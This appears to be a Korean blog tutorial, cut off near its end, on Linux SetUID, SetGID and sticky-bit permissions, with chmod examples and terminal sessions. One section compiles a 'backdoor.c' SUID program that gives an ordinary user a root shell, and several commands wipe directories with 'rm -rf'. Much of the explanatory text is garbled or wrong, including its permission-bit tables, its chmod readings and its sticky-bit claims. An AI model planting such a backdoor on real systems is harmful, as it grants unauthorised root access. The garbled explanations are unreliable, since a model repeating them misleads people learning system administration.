본문 바로가기

CentOS/Study

[Study24]Linux 파일 속성 이해 및 관리 - SetUID / SetGID / Seticky Bits

반응형

SetUID / SetGID

파일에 대한 소유권을 일시적으로 다른 사용자에게 빌려주는 것을 의미합니다. 이를 통해 소유권이 없는 사용자도 파일에 대한 권한을 일시적으로 행사할 수 있습니다. 이러한 권한은 공유된 디렉토리나 파일에 대해 별도의 퍼미션을 설정함으로써 구현할 수 있습니다. 파일 소유자(owner)나 superuser만이 파일에 대해서는 setuid와 setgid를 설정할 수 있습니다. 디렉토리에 대해서는 sticky-bit 퍼미션을 설정할 수 있습니다.

setuid와 setgid는 특정 파일의 실행 파일에 대해 설정할 수 있는 퍼미션입니다. 이러한 퍼미션을 설정하면, 해당 파일을 실행하는 사용자가 파일 소유자 또는 그룹의 권한을 갖게 됩니다. 즉, 실행 파일을 실행하는 사용자의 권한이 아니라 파일 소유자 또는 그룹의 권한으로 실행 파일이 실행됩니다. 이러한 퍼미션을 통해, 특정 파일을 실행하는 사용자가 파일 소유자 또는 그룹의 권한을 일시적으로 갖게 할 수 있습니다.

sticky-bit는 디렉토리에 대해서만 설정할 수 있는 퍼미션입니다. 해당 디렉토리에 sticky-bit가 설정되면, 그 디렉토리 내의 파일은 해당 파일의 소유자 또는 그룹만이 삭제할 수 있습니다. 이러한 퍼미션을 통해, 디렉토리 내의 파일을 무단 삭제로부터 보호할 수 있습니다.

실행 권한(x)이 주어진 프로그램에 setuid 퍼미션이 주어지면, 누구에게나 그 프로그램의 소유자처럼 그 프로그램을 실행할 권한이 주어지고, 또한 어느 누구에게나 그 프로그램의 그룹에 속한 것처럼 할 수 있습니다. 즉, 실행 권한(x)을 가진 프로그램이 setuid와 setgid 퍼미션이 주어지면 그 프로그램의 owner나 group으로부터 UID와 GID를 얻습니다. 이는 해당 프로그램이 시작될 때 프로세스로부터 UID와 GID를 상속받는 것과는 다릅니다.

SetUID를 가진 파일의 예시로는 패스워드를 변경할 수 있는 권한이 있습니다. 이 권한은 root만이 가지고 있기 때문에 일반 사용자는 패스워드 권한을 변경할 수 없습니다. 하지만 일반 사용자도 패스워드를 변경할 수 있도록 하기 위해서는, /usr/bin/passwd 실행파일의 권한이 root의 SetUID 권한이 부여되어 있으면 됩니다. 이를 통해, 일반 사용자도 패스워드를 변경할 수 있는 권한을 갖게 됩니다.

따라서, setuid, setgid, sticky-bit와 같은 퍼미션을 통해, 사용자들은 각자의 권한을 조정하고 파일과 디렉토리를 보호할 수 있습니다. 이러한 퍼미션을 적절히 사용함으로써, 시스템의 보안을 높일 수 있습니다.

 

[특수권한 SetUID, SetGID, sticky bit 퍼미션]

특수권한 소유자권한비트 그룹권한비트 기타권한비트
SetUID 1 0 0
SetGID 0 1 0
sticky-bit 0 0 1

파일 및 디렉토리의 권한 설정과 관련된 내용을 다루고 있습니다. 해당 내용의 일부분은 chmod 명령어를 사용하여 권한을 변경하는 방법에 대한 설명입니다. 이를 위해 각 단계별로 코드와 출력을 삽입하여 자세하게 설명하겠습니다.

먼저, file1에 대하여 755와 0755 권한을 각각 적용하는 코드는 다음과 같습니다.

chmod 755 file1
chmod 0755 file1

두 권한 모두 파일 소유자(owner)가 파일을 읽기, 쓰기 및 실행할 수 있으며, 다른 모든 사용자는 읽기 및 실행만 할 수 있다는 것을 의미합니다. 이를 출력으로 확인할 수 있습니다.

(0755 : rwxr-xr-x)
(0755 : rwxr-xr-x)

다음으로, 22에서 0022로 권한을 변경하는 코드는 다음과 같습니다.

chmod 22 file1
chmod 0022 file1

두 권한 모두 소유자, 그룹 및 다른 모든 사용자가 파일을 읽고 실행할 수 있지만, 소유자만 파일을 쓸 수 있다는 것을 의미합니다. 이를 출력으로 확인할 수 있습니다.

(22 : --w--w--w-)
(0022 : -w--w--w-)

다음으로, 4755와 6755 권한을 rwsr-xr-x와 rwsr-sr-x로 업데이트하는 코드는 다음과 같습니다.

chmod 4755 file1
chmod 6755 file1

이러한 권한은 파일이 setuid임을 나타냅니다. 이는 파일이 실행될 때 파일의 소유자의 권한으로 실행되며, 파일을 실행한 사용자의 권한이 아닌 것입니다. 이를 출력으로 확인할 수 있습니다.

(4755 : rwsr-xr-x)
(6755 : rwsr-sr-x)

다음으로, file1에 대해 2755 권한을 적용하는 코드는 다음과 같습니다.

chmod 2755 file1

이는 소유자와 그룹이 파일을 읽고 쓰며 실행할 수 있고, 다른 모든 사용자는 읽기 및 실행만 할 수 있다는 것을 의미합니다. 이를 출력으로 확인할 수 있습니다.

(0755 : rwxr-xr-x)
(2755 : rwxr-sr-x)

마지막으로, dir1에 대해 1777 권한을 설정하는 코드는 다음과 같습니다.

chmod 1777 dir1

이는 모든 사용자가 디렉토리 내에 파일을 생성하고 수정할 수 있도록 하지만, 디렉토리 내에서 생성된 모든 파일이 해당 파일을 생성한 사용자의 소유자가 되도록 합니다. 이를 출력으로 확인할 수 있습니다.

(0777 : rwxrwxrwx)
(1777 : rwxrwxrwt)

위와 같은 코드 및 출력을 통해, chmod 명령어를 사용하여 파일 및 디렉토리의 권한을 설정하는 방법과 setuid, setgid, sticky-bit 퍼미션에 대해 자세히 알아보았습니다. 이러한 퍼미션을 적절히 사용함으로써, 시스템의 보안을 높일 수 있습니다.

 

SetUID,SetGID 권한 부여

# cd /test
# rm -rf /test/*

cd 명령어를 사용하여 /test 디렉토리로 이동합니다. 그 다음, -rf 옵션을 사용하여 /test 디렉토리 내의 모든 파일과 디렉토리를 재귀적으로 삭제하는 rm 명령어를 사용하여 해당 디렉토리의 모든 파일을 제거합니다.

# touch file1
# ls -l file1
-rw-r--r-- 1 root root 0 Feb 11 09:37 file1

touch 명령어를 사용하여 file1이라는 새 파일을 생성합니다. 그런 다음, ls -l 명령어를 사용하여 이 파일의 권한을 표시합니다.

# chmod 755 file1
# ls -l file1
-rwxr-xr-x 1 root root 0 Feb 11 09:37 file1

file1의 권한을 소유자, 그룹 및 기타 사용자가 실행할 수 있도록 변경하려면 chmod 명령어에 755 인수를 사용하여 파일 권한을 rwxr-xr-x (소유자의 읽기, 쓰기, 실행 및 그룹 및 기타 사용자의 읽기, 실행)로 설정합니다. 그런 다음, 변경된 권한을 확인하기 위해 다시 file1의 권한을 표시합니다.

# chmod 4755 file1
# ls -l file1
-rwsr-xr-x 1 root root 0 Feb 11 09:37 file1

file1의 권한에 setuid 비트를 포함하려면 chmod 명령어에 4755 인수를 사용하여 파일 권한을 rwsr-xr-x로 설정합니다. 이렇게하면 파일 소유자의 권한으로 파일을 실행할 수 있습니다. 그런 다음, 변경된 권한을 확인하기 위해 다시 file1의 권한을 표시합니다.

# chmod 2755 file1
# ls -l file1
-rwxr-sr-x 1 root root 0 Feb 11 09:37 file1

file1의 권한에 setgid 비트를 포함하려면 chmod 명령어에 2755 인수를 사용하여 파일 권한을 rwxr-sr-x로 설정합니다. 이렇게하면 파일 그룹의 권한으로 파일을 실행할 수 있습니다. 그런 다음, 변경된 권한을 확인하기 위해 다시 file1의 권한을 표시합니다.

# chmod 1755 file1
# ls -l file1
-rwxr-xr-t 1 root root 0 Feb 11 09:37 file1

file1의 권한에 sticky 비트를 포함하려면 chmod 명령어에 1755 인수를 사용하여 파일 권한을 rwxr-xr-t로 설정합니다. 이렇게하면 파일 소유자, 디렉토리 소유자 또는 root 사용자 만 파일을 삭제할 수 있습니다. 그런 다음, 변경된 권한을 확인하기 위해 다시 file1의 권한을 표시합니다.

# chmod 6755 file1    /* 참고사항이며 실제로 이렇게 사용하지는 않는다 */
# ls -l file1
-rwsr-sr-x 1 root root 0 Feb 11 09:37 file1

마지막으로, chmod 명령어를 사용하여 파일 권한을 변경할 수 있습니다. 이를 위해서는 다음과 같은 단계를 따릅니다. 먼저 file1에 대한 권한을 확인합니다. 그런 다음, 원하는 권한을 결정합니다. 권한은 다음과 같은 방식으로 지정됩니다. "rwx"는 읽기, 쓰기 및 실행 권한을 나타내며, 각 권한은 "r", "w", "x"로 표시됩니다. 예를 들어 chmod 777은 파일을 읽기, 쓰기 및 실행할 수 있는 모든 사용자에게 권한을 부여합니다. 이제 chmod 6755와 같이 6755 인수를 사용하여 파일 권한을 변경할 수 있습니다. 이 인수를 사용하면 파일에 대한 모든 비트가 포함된 권한이 설정됩니다. 이렇게 파일 권한을 변경하면 보안 문제를 해결하거나 파일에 대한 접근을 제어할 수 있습니다. 변경된 권한을 확인하려면 ls -l 명령어를 사용합니다.

 

권한 설정시 유의사항

# chmod 4755 file1 (rwxr-xr-x  ->  rwsr-xr-x)
# chmod 4100 file1 (--x------  ->  --s------)
# chmod 4655 file1 (rw-r-xr-x  ->  rwSr-xr-x)

# chmod 2755 file1 (rwxr-xr-x  ->  rwxr-sr-x)
# chmod 2010 file1 (-----x---  ->  -----s---)
# chmod 2765 file1 (rwxrw-r-x  ->  rwxrwSr-x)

위 코드는 권한 설정에 대한 예시입니다. 권한 설정은 리눅스 운영체제에서 중요한 보안 요소 중 하나입니다. 리눅스 시스템에서는 모든 파일과 디렉토리에 대해 권한을 설정할 수 있으며, 이러한 권한 설정을 통해 파일과 디렉토리에 대한 접근 권한을 제어할 수 있습니다.

SETID 권한은 특정 사용자가 파일을 실행할 때, 그 파일이 특정 사용자의 권한으로 실행되는 것을 말합니다. 이를 통해 파일 실행 시 보안성을 높일 수 있습니다. SETID는 파일의 권한을 변경하는 명령어와 함께 사용될 수 있으며, 다양한 보안 요구사항에 따라 활용될 수 있습니다.

그러나 SETID 권한이 부여된 파일의 경우, 이전 권한이 대문자로 표시되어 보이지 않게 되어 권한이 없어 – 로 표시되어야 하는 자리에 대문자가 표시됩니다. 따라서, 권한을 확인할 때는 대문자 권한에 주의해야 합니다.

리눅스에서 권한 설정을 바꾸는 명령어는 chmod입니다. chmod 명령어를 사용하여 권한을 변경할 수 있으며, 권한 변경 시 숫자 또는 문자를 사용하여 변경할 수 있습니다. 숫자를 사용하는 경우, 4, 2, 1을 사용하여 권한을 표시하며, r, w, x를 사용하여 권한을 표시합니다.

권한 설정 시 유의해야 할 점도 있습니다. 특히, SETID 권한을 설정하는 경우에는 보안상 매우 신중해야 합니다. 이를 위해서는 SETID 권한 부여 이전에 권한을 확인하고, 부여 후에도 권한을 확인하여 보안에 대한 취약점을 최소화하는 것이 좋습니다.

리눅스 시스템 보안을 위해서는 권한 설정에 대한 이해가 필수적입니다. 이를 통해 파일과 디렉토리에 대한 접근 권한을 철저하게 관리하여 보안성을 높일 수 있습니다.

[EX2] SetUID 확인

(일반사용자) $ passwd 
-> /etc/passwd(user01:x:501:501::/home/user01:/bin/bash)
-> /etc/shadow(user01:$1$D0aOO1Ns$Src3NlrAeQH8YIQwJ44bp1:15911:0:99999:7:::)

[passwd 명령어의 동작]

# /etc/passwd /etc/shadow

passwd 명령어는 사용자의 비밀번호를 변경하는 명령어입니다. 이 명령어를 사용할 때는 다음과 같은 단계를 거치게 됩니다.

  1. 먼저, passwd 명령어를 입력합니다.
  2. passwd 명령어에는 권한이 설정되어 있어, setUID bit가 활성화됩니다. 이를 통해 사용자는 잠시 동안 root 권한을 얻게 됩니다.
  3. 비밀번호를 변경하면, 변경된 비밀번호가 /etc/shadow 파일에 root 권한으로 수정됩니다. 이 파일은 암호화된 비밀번호를 저장하는 파일입니다.
  4. 모든 작업이 완료되면, 사용자는 권한을 반환하고 다시 일반계정으로 돌아갑니다.

즉, passwd 명령어는 사용자가 비밀번호를 안전하게 변경할 수 있도록 도와주는 명령어입니다. 이 과정에서 root 권한을 잠시 얻게 되지만, 이를 통해 사용자의 비밀번호 변경 작업이 원활하게 진행될 수 있습니다.

# ls -l /usr/bin/passwd /etc/passwd /etc/shadow
-rw-r--r-- 1 root root 2936  Feb 11 06:29 /etc/passwd
-r-------- 1 root root 1275  6월 11 15:17 /etc/shadow
-rwsr-xr-x 1 root root 22984 Jan  7 2007  /usr/bin/passwd
# chmod 755 /usr/bin/passwd 
# ls -l /usr/bin/passwd
-rwxr-xr-x 1 root root 22984  1월  7  2007 /usr/bin/passwd
# su - fedora 
$ passwd
Changing password for user fedora.
Changing password for fedora
(current) UNIX password: (fedora)
passwd: Authentication token manipulation error
$ exit 
# passwd fedora
Changing password for user fedora.
New UNIX password: (fedora)
BAD PASSWORD: it is based on a dictionary word
Retype new UNIX password: (fedora)
passwd: all authentication tokens updated successfully.

(원복) /usr/bin/passwd (rwxr-xr-x  ->  rwsr-xr-x)
      # chmod 4755 /usr/bin/passwd

위의 출력물은 passwd 명령어의 동작 방식과 사용자의 비밀번호를 변경하는 방법을 설명합니다. setUID 비트를 사용하여 일시적으로 root 권한을 부여하고, 비밀번호를 변경하면 /etc/shadow 파일이 업데이트됩니다. 작업이 완료되면 권한은 일반 사용자 계정으로 돌아갑니다.

문서의 추가적인 내용은 setUID와 setGID 비트의 작동 방식, 그리고 이러한 비트를 사용하는 다양한 시나리오에 대해 다루고 있습니다. touch 명령어를 사용하는 예제, 백도어를 설정하는 방법, 그리고 비-루트 사용자에게 root 권한을 부여하는 방법을 설명합니다. 이러한 예제는 setUID와 setGID 비트의 위험성과 그들을 적절하게 보호하는 중요성을 강조합니다.

전반적으로, 이 문서는 시스템 내 다른 사용자 및 프로세스의 권한과 권한을 이해하는 것이 보안을 유지하고 무단 액세스를 방지하는 데 얼마나 중요한지를 강조합니다. 또한 setUID와 setGID 비트를 적절하게 구성하고 관리하여 잠재적인 보안 위험을 방지하는 것의 중요성을 강조합니다.

 

fedora가 user01 사용자의 권한을 빌리는 경우

첫 번째 단계: 사용자 'user01'의 홈 디렉토리에 'touch' 명령어를 복사하고 실행합니다. 이를 위해 먼저 사용자 'user01'의 홈 디렉토리에 있는 파일 권한을 변경합니다. 그런 다음 '/bin/touch'에 있는 'touch' 명령어를 '/home/user01'에 복사합니다. 다음과 같은 명령어를 입력합니다.

# ssh user01@localhost
user01 사용자로 로그인합니다.

$ chmod 775 /home/user01
$ cp /bin/touch /home/user01
$ ls -l
-rwxr-xr-x 1 user01 user01 42284  3월 17 01:20 touch

위의 코드 실행 결과, '/home/user01' 디렉토리에 'touch' 명령어가 복사되었습니다. 이제 '/home/user01/touch'를 실행하여 파일을 생성할 수 있습니다.

/bin/touch         (rwxr-xr-x 1 root root)
/home/user01/touch (rwxr-xr-x 1 user01 user01)

/home/user01 디렉토리에 있는 'touch' 파일은 현재 'user01' 사용자만 실행할 수 있는 파일입니다.

$ ./touch file1
$ ls -l
-rw-rw-r-- 1 user01 user01     0  3월 17 01:20 file1
-rwxr-xr-x 1 user01 user01 42284  3월 17 01:20 touch

위의 명령어는 'touch' 명령어를 이용하여 'file1' 파일을 생성한 결과입니다. 이제 'file1' 파일은 'user01' 사용자와 해당 그룹에 속한 사용자만 쓰기/읽기 권한을 가지게 됩니다.

/home/user01 (rwxrwxr-x  user01  user01)
|
+--- file1((0)생성가능)

다음으로, 'touch' 파일에 SetUID 권한을 부여합니다. 이를 위해 다음과 같은 명령어를 입력합니다.

$ chmod 4755 touch
$ ls -l
-rw-rw-r-- 1 user01 user01     0  3월 17 01:20 file1
-rwsr-xr-x 1 user01 user01 42284  3월 17 01:33 touch

위의 명령어는 'touch' 파일에 SetUID 권한을 부여하는 것입니다. 이제 'touch' 파일을 실행하는 사용자는 'user01' 사용자가 아닌 다른 사용자라도 'touch' 파일을 실행한 권한을 가지게 됩니다.

이제 'file2' 파일을 생성하려고 합니다. 하지만 'user01' 사용자의 홈 디렉토리에서 'file2' 파일을 생성하려고 했지만 권한이 없어서 생성할 수 없었습니다. 이를 해결하기 위해 'touch' 파일을 SetUID 권한이 부여된 상태로 'file2' 파일을 생성합니다.

$ su – fedora
-> 'fedora' 사용자로 변경합니다.

$ cd /home/user01
$ touch file2
touch: cannot touch `file2': 허가 거부됨

위의 명령어 실행 결과 'file2' 파일 생성이 불가능하다는 메시지가 나타났습니다. 따라서 이제 'touch' 파일을 SetUID 권한이 부여된 상태로 'file2' 파일 생성을 시도합니다.

/bin/touch         (rwxr-xr-x 1 root root)
/home/user01/touch (rwsr-xr-x 1 user01 user01)

$ ./touch file2
$ ls -l
-rw-rw-r-- 1 user01 user01     0  3월 17 01:20 file1
-rw-rw-r-- 1 user01 fedora     0  3월 17 01:20 file2
-rwsr-xr-x 1 user01 user01 42284  3월 17 01:33 touch

위의 명령어는 'touch' 명령어를 SetUID 권한이 부여된 'touch' 파일을 이용하여 실행한 결과입니다. 이제 'file2' 파일이 생성되었습니다.

/home/user01   (rwxrwxr-x  user01 user01)
|
+--- file2((0)생성가능)

이제 'touch' 파일 권한을 수정합니다. 이를 위해 다음과 같은 명령어를 입력합니다.

$ basxit
$ id
-> 현재 사용자는 'user01'입니다.

$ chmod 2755 touch  (rwxr-xr-x   ->   )
$ ls –l touch
-rwxr-sr-x  user01 user01  size mtime  touch

위의 명령어는 'touch' 파일의 권한을 수정하는 것입니다. 이제 'touch' 파일은 'user01' 사용자 그룹에 속한 사용자만 실행할 수 있도록 설정되었습니다.

마지막으로 'file3' 파일을 생성합니다. 다음과 같은 명령어를 입력합니다.

$ su - fedora
-> 'fedora' 사용자로 변경합니다.

$ cd /home/user01
$ ./touch file3
$ ls -l
-rw-rw-r-- 1 user01 user01     0 Apr 21 15:59 file1
-rw-rw-r-- 1 user01 fedora     0 Apr 21 16:02 file2
-rw-rw-r-- 1 fedora user01     0 Apr 21 16:04 file3
-rwxr-sr-x 1 user01 user01 42284 Apr 21 15:59 touch

위의 명령어는 'touch' 명령어를 사용하여 'file3' 파일을 생성하는 것을 확인할 수 있습니다.

/home/user01   (rwxrwxr-x  user01 user01)
|
+--- file3((0)생성가능)

 

bash쉘의 SetUID 권한 부여

[TERM1] root 사용자 터미널

root 사용자 터미널은 시스템의 최상위 계정으로, 다른 모든 사용자와 시스템 영역을 관리하는 데 사용됩니다. 아래는 root 사용자 터미널에서 실행되는 명령어의 예시입니다.

# ls -l /bin/bash
-rwxr-xr-x 1 root root 735004 Jan 22  2009 /bin/bash

위 명령어는 /bin/bash 파일의 권한과 소유자를 출력합니다.

# cp /bin/bash /test
# cd /test
# ls -l bash
-rwxr-xr-x 1 root root 735004 Feb 11 09:06 bash
		/bin/bash   (-rwxr-xr-x 1 root root 719K Jul 22  2011 /bin/bash*)
		/test/bash  (-rwxr-xr-x 1 root root 719K Jan 13 11:33 bash*)

위 명령어는 /bin/bash 파일을 /test 디렉토리로 복사하고, /test/bash 파일의 권한과 소유자를 출력합니다.

# bash
# ps
# exit
exit
# ./bash
# ps
# exit

위 명령어는 새로운 bash 쉘을 시작하고, 현재 실행 중인 프로세스를 출력합니다.

# chmod 4755 bash
# ls -l bash
-rwsr-xr-x 1 root root 735004 Feb 11 09:06 bash

위 명령어는 /test/bash 파일의 권한을 변경하여, setuid 권한을 부여합니다. 이 권한은 사용자가 실행하는 프로세스가 소유자의 권한으로 실행되도록 합니다.

[TERM2] root 사용자의 두번째 터미널

아래는 root 사용자의 두번째 터미널에서 수행되는 명령어를 나타낸 것입니다.

# su - fedora
$ cd /test
$ ls -l bash
-rwsr-xr-x 1 root root 735004  Feb 11 09:06 bash
$ ./bash
$ id         /* 커널 2.6버전부터는 쉘은 SetUID, SetGID권한 부여 막음 */
uid=1001(fedora) gid=1001(fedora) groups=1001(fedora) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ exit
$ exit
#

위의 명령어는 root 사용자가 fedora 계정으로 변경 후, /test 디렉토리로 이동한 후 ls -l bash 명령어를 실행하여 bash 파일의 권한을 확인합니다. 그리고 ./bash 명령어를 실행하여 bash 파일을 실행한 후 id 명령어를 실행합니다. 커널 2.6 이상부터는 쉘의 SetUID, SetGID 권한이 막혀있어 id 명령어는 SetUID 권한이 부여된 bash 파일을 실행해도 root 권한으로 실행되지 않습니다. 마지막으로 exit 명령어를 두 번 입력하여 root 사용자 모드를 빠져나오고 터미널을 종료합니다.

 

gcc 프로그램 설치가 되어 있지 않으면

gcc 프로그램이 설치되어 있지 않은 경우 아래 명령어를 실행하여 설치할 수 있습니다.

# which gcc

만약 gcc 프로그램이 설치되어 있지 않다면, 다음 명령어를 실행하여 설치할 수 있습니다.

# rpm -qa | grep gcc
# dnf -y install gcc

gcc 프로그램은 C, C++, Objective-C, FORTRAN 등 다양한 프로그래밍 언어를 지원합니다. 따라서 이 프로그램을 설치함으로써 다양한 프로그래밍 작업을 수행할 수 있습니다.

[TERM1] root 사용자의 첫 번째 터미널

아래는 root 사용자의 첫 번째 터미널에서 수행되는 명령어를 나타낸 것입니다.

# cd /test
# vi backdoor.c    # 함수를 이용하여 프로그램 내에서 쉘을 실행시키는 코드
------------------------------
#include <stdio.h>

main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
------------------------------

위 코드는 setuid()와 setgid() 함수를 사용하여 권한 상승을 실행합니다. 그리고 /bin/bash를 실행시키는데, 이는 root 권한으로 bash 쉘을 실행시키게 됩니다.

아래 코드는 위의 코드와 비슷하지만, 더욱 안전한 코드입니다.

```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define _GNU_SOURCE

int main ()
{
	setuid(0);
	setgid(0);
	system("/bin/bash");
}

이 코드는 setuid()와 setgid() 함수를 사용하여 권한 상승을 실행합니다. 그러나 표준 헤더 파일을 포함하고, 프로그램의 안정성을 높입니다.

# gcc -o bashshell backdoor.c
# ls -l bashshell
-rwxr-xr-x 1 root root 4934 Feb 11 09:22 bashshell
# file /bin/ls
# file /test/bashshell

위 명령어는 backdoor.c 파일을 컴파일하여 bashshell 바이너리 파일을 만들고, 이 파일의 권한을 확인합니다. 그리고 file 명령어를 사용하여 /bin/ls 파일과 /test/bashshell 파일의 정보를 출력합니다.

[TERM2] fedora 사용자 터미널

아래는 fedora 사용자 터미널에서 수행되는 명령어를 나타낸 것입니다. 이 명령어들은 fedora 사용자가 시스템에서 다양한 작업을 수행하기 위해 사용할 수 있습니다.

# ssh fedora@localhost

위 명령어를 사용하여 fedora 사용자로 로그인할 수 있습니다. 이를 통해 시스템에서 다양한 작업을 수행할 수 있습니다.

$ cd /test

위 명령어를 사용하여 /test 디렉토리로 이동할 수 있습니다. 이 디렉토리에는 다양한 파일과 폴더가 있으며, 이를 활용하여 작업을 수행할 수 있습니다.

$ ls -l bashshell

위 명령어를 사용하여 bashshell 파일의 속성과 권한을 확인할 수 있습니다. 이를 통해 시스템에서 파일과 폴더에 대한 정보를 더욱 자세히 파악할 수 있습니다.

$ ./bashshell

위 명령어를 사용하여 bashshell 파일을 실행할 수 있습니다. 이 파일은 시스템에서 다양한 작업을 수행하는 데 사용됩니다.

$ ps

위 명령어를 사용하여 현재 실행 중인 프로세스 목록을 확인할 수 있습니다. 이를 통해 시스템에서 현재 실행 중인 작업을 모니터링할 수 있습니다.

$ id

위 명령어를 사용하여 현재 사용자의 ID와 권한에 대한 정보를 확인할 수 있습니다. 이를 통해 시스템에서 현재 사용자의 권한을 파악할 수 있습니다.

$ exit

위 명령어를 사용하여 터미널을 종료할 수 있습니다. 이를 통해 시스템에서 작업을 완료하고 터미널을 종료할 수 있습니다.

[TERM1] root 사용자 터미널

아래는 root 사용자 터미널에서 수행되는 명령어를 나타낸 것입니다.

# cd /test
# chmod 4755 bashshell
# ls -l bashshell
-rwsr-xr-x 1 root root 4934 Feb 11 09:22 bashshell

위 명령어는 리눅스 시스템에서 root 사용자로 로그인 한 후에 실행됩니다. 이때, /test 디렉터리로 이동한 후에, bashshell 파일에 대한 권한을 변경하고, bashshell 파일의 세부 정보를 확인합니다.

chmod 4755 bashshell 명령어는 bashshell 파일에 대한 권한을 변경합니다. 이 명령은 bashshell 파일을 실행할 때, 해당 파일이 root 권한으로 실행될 수 있도록 권한을 부여합니다. ls -l bashshell 명령어는 bashshell 파일의 세부 정보를 확인합니다. 이때, -rwsr-xr-x는 파일 권한을 나타내며, 1은 파일 링크 수를 나타냅니다. root는 파일 소유자를 나타내며, root는 파일 그룹을 나타냅니다. 4934는 파일 크기를 나타내며, Feb 11 09:22는 파일이 마지막으로 수정된 날짜와 시간을 나타냅니다.

[TERM2] fedora 사용자의 터미널

아래는 Fedora를 사용하는 사용자가 터미널에서 수행하는 명령어입니다. 이 명령어는 backdoor.c 언급과 함께, Fedora에서 실행하는 방법을 보여줍니다.

$ ./bashshell
# id
uid=0(root) gid=0(root) groups=500(fedora)
# pwd
/test
# chmod 755 bash
# ls -l
-rw-r--r--  1 root root     77  2??11 09:22 backdoor.c
-rwxr-xr-x  1 root root 735004  2??11 09:06 bash
-rwsr-xr-x  1 root root   4934  2??11 09:22 bashshell
# ./bash
# id
uid=0(root) gid=0(root) groups=500(fedora)
# exit
# exit
$ exit
#

이 명령어를 사용하여 사용자는 root 사용자의 권한을 얻을 수 있습니다. 그러나 이러한 방법은 Fedora에서 사용하지 않는 것이 좋습니다. 대신 Fedora에서 지원하는 다른 명령어를 사용해보시길 권장합니다.

 

특수 퍼미션을 가진 파일 찾기

find 명령어를 사용하여 setuid와 setgid 비트가 설정된 파일을 검색할 수 있습니다. 아래는 각 단계별로 코드와 출력을 삽입하여 자세하게 설명한 내용입니다.

Step 1: setuid 비트가 설정된 파일 검색하기

find / -perm -4000 -type f

위 명령어는 루트 디렉토리부터 모든 파일을 검색하면서, setuid 비트가 설정된 파일을 찾습니다. -perm은 파일의 권한을 기반으로 파일을 검색하기 때문에, -4000은 setuid 비트가 설정된 파일을 찾는 데 사용됩니다. -type f는 찾고자 하는 파일의 타입을 지정하는 옵션으로, 여기서는 일반 파일을 찾기 위해 사용됩니다.

Step 2: setgid 비트가 설정된 파일 검색하기

find / -perm -2000 -type f

위 명령어는 루트 디렉토리부터 모든 파일을 검색하면서, setgid 비트가 설정된 파일을 찾습니다. -perm은 파일의 권한을 기반으로 파일을 검색하기 때문에, -2000은 setgid 비트가 설정된 파일을 찾는 데 사용됩니다. -type f는 찾고자 하는 파일의 타입을 지정하는 옵션으로, 여기서는 일반 파일을 찾기 위해 사용됩니다.

Step 3: setuid와 setgid 비트가 설정된 파일 검색하기

find / \\\\( -perm -4000 -o -perm -2000 \\\\) -type f

위 명령어는 루트 디렉토리부터 모든 파일을 검색하면서, setuid 비트와 setgid 비트가 설정된 파일을 찾습니다. -perm은 파일의 권한을 기반으로 파일을 검색하기 때문에, -4000은 setuid 비트가 설정된 파일을 찾는 데 사용되고, -2000은 setgid 비트가 설정된 파일을 찾는 데 사용됩니다. \\\\( -perm -4000 -o -perm -2000 \\\\)는 OR 조건을 나타내며, 둘 중 하나라도 해당되면 파일을 찾습니다. -type f는 찾고자 하는 파일의 타입을 지정하는 옵션으로, 여기서는 일반 파일을 찾기 위해 사용됩니다.

이러한 명령어를 사용하면, setuid와 setgid 비트가 설정된 파일을 찾을 수 있습니다.

 

Sticky Bits

파일에 쓰기 권한이 없어도 디렉토리에 쓰기 권한이 있는 경우, 디렉토리 권한에 의해 파일이 삭제됩니다. 이는 다른 사용자들도 같은 디렉토리에 파일을 생성할 수 있기 때문에, 파일의 소유자가 아닌 사람이 삭제할 수 있는 상황을 막기 위해서 입니다. 또한, 일부 디렉토리는 공유를 목적으로 사용되기 때문에, 파일을 마음대로 삭제할 수 없도록 sticky 권한이 부여됩니다.

Sticky bit는 chmod 명령어를 이용하여 설정됩니다. 디렉토리에 쓰기 (파일생성: touch, vi 등) 권한이 있어도 파일에 삭제권한(rm)을 제거하려 할 때 사용합니다. 예를 들어, 게시판의 경우, sticky bit를 설정하여 게시글을 작성한 사용자가 삭제하지 않도록 할 수 있습니다.

하지만, 파일의 소유자나 그룹, 또는 관리자의 경우에는 파일에 대한 소유권을 행사할 수 있기 때문에, 해당 사용자들은 sticky bit에 영향을 받지 않습니다. 일반적으로 sticky bit는 디렉토리가 777 권한일 때 사용됩니다.

특정 게시판에서 user01 계정의 사용자 ID, 그룹 ID, 그룹 및 컨텍스트가 표시된 명령 줄 출력을 볼 수 있습니다. 이 정보는 이 사용자가 시스템에서 어떤 권한과 권한이 부여되었는지 이해하는 데 중요합니다. "컨텍스트" 필드는 프로세스의 SELinux 컨텍스트를 나타내며, 프로세스의 컨텍스트에 따라 액세스 제어 정책을 강제 적용하여 시스템의 보안을 더욱 강화합니다. 이것은 명령 줄 도구의 출력을 이해하는 것이 시스템의 보안 상태를 개선하는 방법 중 하나일 뿐입니다.

특수권한 소유자권한비트 그룹권한비트 기타권한비트
SetUID 0 0 rwx
SetGID 0 0 rwx
sticky-bit 0 1 rwx

 

sticky bit로 설정된 디렉토리

Sticky bit는 Unix/Linus 계열 운영체제에서 디렉토리에 대한 특별한 권한 중 하나입니다. 이 권한이 설정된 디렉토리는 그 안에 있는 파일들이나 하위 디렉토리들이 삭제되거나 이동되지 않도록 보호됩니다. Sticky bit가 설정된 디렉토리를 삭제할 때에는 root 사용자만 가능합니다.

# ls -ld /tmp
drwxrwxrwt 13 root root 4096 Feb 11 09:22 /tmp
# rm -rf /tmp/*

Sticky bit 권한을 설정하는 방법은 다음과 같습니다.
# chmod 1777 dir1 (drwxrwxrwx  ->  drwwrwxrwt)
# chmod 1001 dir1 (d--------x  ->  d--------t)
# chmod 1776 dir1 (drwxrwxrw-  ->  drwxrwxrwT)

이렇게 Sticky bit 권한을 설정함으로써, 디렉토리와 그 안에 있는 파일들이나 하위 디렉토리들이 안전하게 보호될 수 있습니다.

 

sticky bit로 파일 삭제 권한 제거

[TERM1] user01 사용자 터미널

user01이 로그인한 후 /tmp 디렉토리에 stickybit 디렉토리를 생성하고, file10이라는 파일을 만드는 명령어입니다. 그리고 stickybit 디렉토리에 file2라는 파일을 만들고, ls 명령어를 사용하여 user01이 소유한 파일 목록을 출력합니다.

user01으로 로그인합니다:

# ssh user01@localhost
user01으로 로그인합니다.

/tmp 디렉토리로 이동합니다:

$ cd /tmp

stickybit 디렉토리를 생성합니다:

$ mkdir stickybit

